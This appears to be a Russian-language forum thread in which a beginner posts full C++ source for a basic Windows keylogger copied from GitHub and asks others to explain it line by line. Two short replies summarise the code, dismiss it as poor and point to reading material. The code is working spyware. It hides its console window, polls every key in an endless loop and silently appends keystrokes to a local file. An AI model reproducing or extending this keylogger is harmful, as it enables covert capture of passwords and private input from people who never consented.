Загрузка...

Help creating Keylogger in C++

Thread in Programming created by megasuxar Feb 17, 2018. 326 views

  1. megasuxar
    megasuxar Topic starter Feb 17, 2018 1 Feb 10, 2018
    Всем доброго времени суток! Посидел я на зарубежных сайтах, на GitHub, изучил инфу про программированию, и решил создать keylogger. Нашёл готовый келоггер на гитхабе. Но принципиально покупать и использовать готовые кейлоггеры я не хочу, я учусь и ведь лучше создать что-то своё неповторимое и интересное, чем пользоваться тем, что есть у всех.
    Так вот ближе к делу! Взял я уже готовый кейлоггер с гитхаба написанный на С++, загрузил в Visual Studio 2013, и решил во всех строчках кода разобраться, чтобы понимать, что да как работает. Какую-то инфу о той или иной строчке я нашёл в инете, а что-то не получилось найти. И решил обратиться к знающим людям то бишь к Вам))
    Объясните зелёному что делает та или иная строчка. Всем заранее ОГРОМНОЕ СПАСИБО!! Так же принимаю конструктивную критику и полезные советы)
    Code


    #define _WIN32_WINNT 0x0500
    #include <Windows.h>
    #include <string>
    #include <stdlib.h>
    #include <stdio.h>
    #include <iostream>
    #include <fstream>



    using namespace std;



    void LOG(string input) {
    fstream LogFile;
    LogFile.open("dat.txt", fstream::app);
    if (LogFile.is_open()) {
    LogFile << input;
    LogFile.close();
    }
    }


    bool SpecialKeys(int S_Key) {
    switch (S_Key) {
    case VK_SPACE:
    cout << " ";
    LOG(" ");
    return true;
    case VK_RETURN:
    cout << "\n";
    LOG("\n");
    return true;
    case 'ѕ':
    cout << ".";
    LOG(".");
    return true;
    case VK_SHIFT:
    cout << "#SHIFT#";
    LOG("#SHIFT#");
    return true;
    case VK_BACK:
    cout << "\b";
    LOG("\b");
    return true;
    case VK_RBUTTON:
    cout << "#R_CLICK#";
    LOG("#R_CLICK#");
    return true;
    default:
    return false;
    }
    }



    int main()
    {
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char KEY = 'x';

    while (true) {
    Sleep(10);
    for (int KEY = 8; KEY <= 190; KEY++)
    {
    if (GetAsyncKeyState(KEY) == -32767) {
    if (SpecialKeys(KEY) == false) {

    fstream LogFile;
    LogFile.open("dat.txt", fstream::app);
    if (LogFile.is_open()) {
    LogFile << char(KEY);
    LogFile.close();
    }

    }
    }
    }
    }

    return 0;
    }
     
  2. renameduser_298134
    Погугли вышеперечисленные библиотеки.Удачи в обучении ;)
     
  3. Autist_inactive
    Код в бесконечном цикле проверяет состояние каждой клавиши, и если она нажата то пишет ее в лог файл.
    P.S. Этот кейлоггер говно
     
  4. megasuxar
    megasuxar Topic starter Feb 24, 2018 1 Feb 10, 2018
    А какой не ровно?:-)
     
  5. Autist_inactive
    Почитай про типы кейлоггеров, у Каспера неплохая статья есть
     
Top
Loading...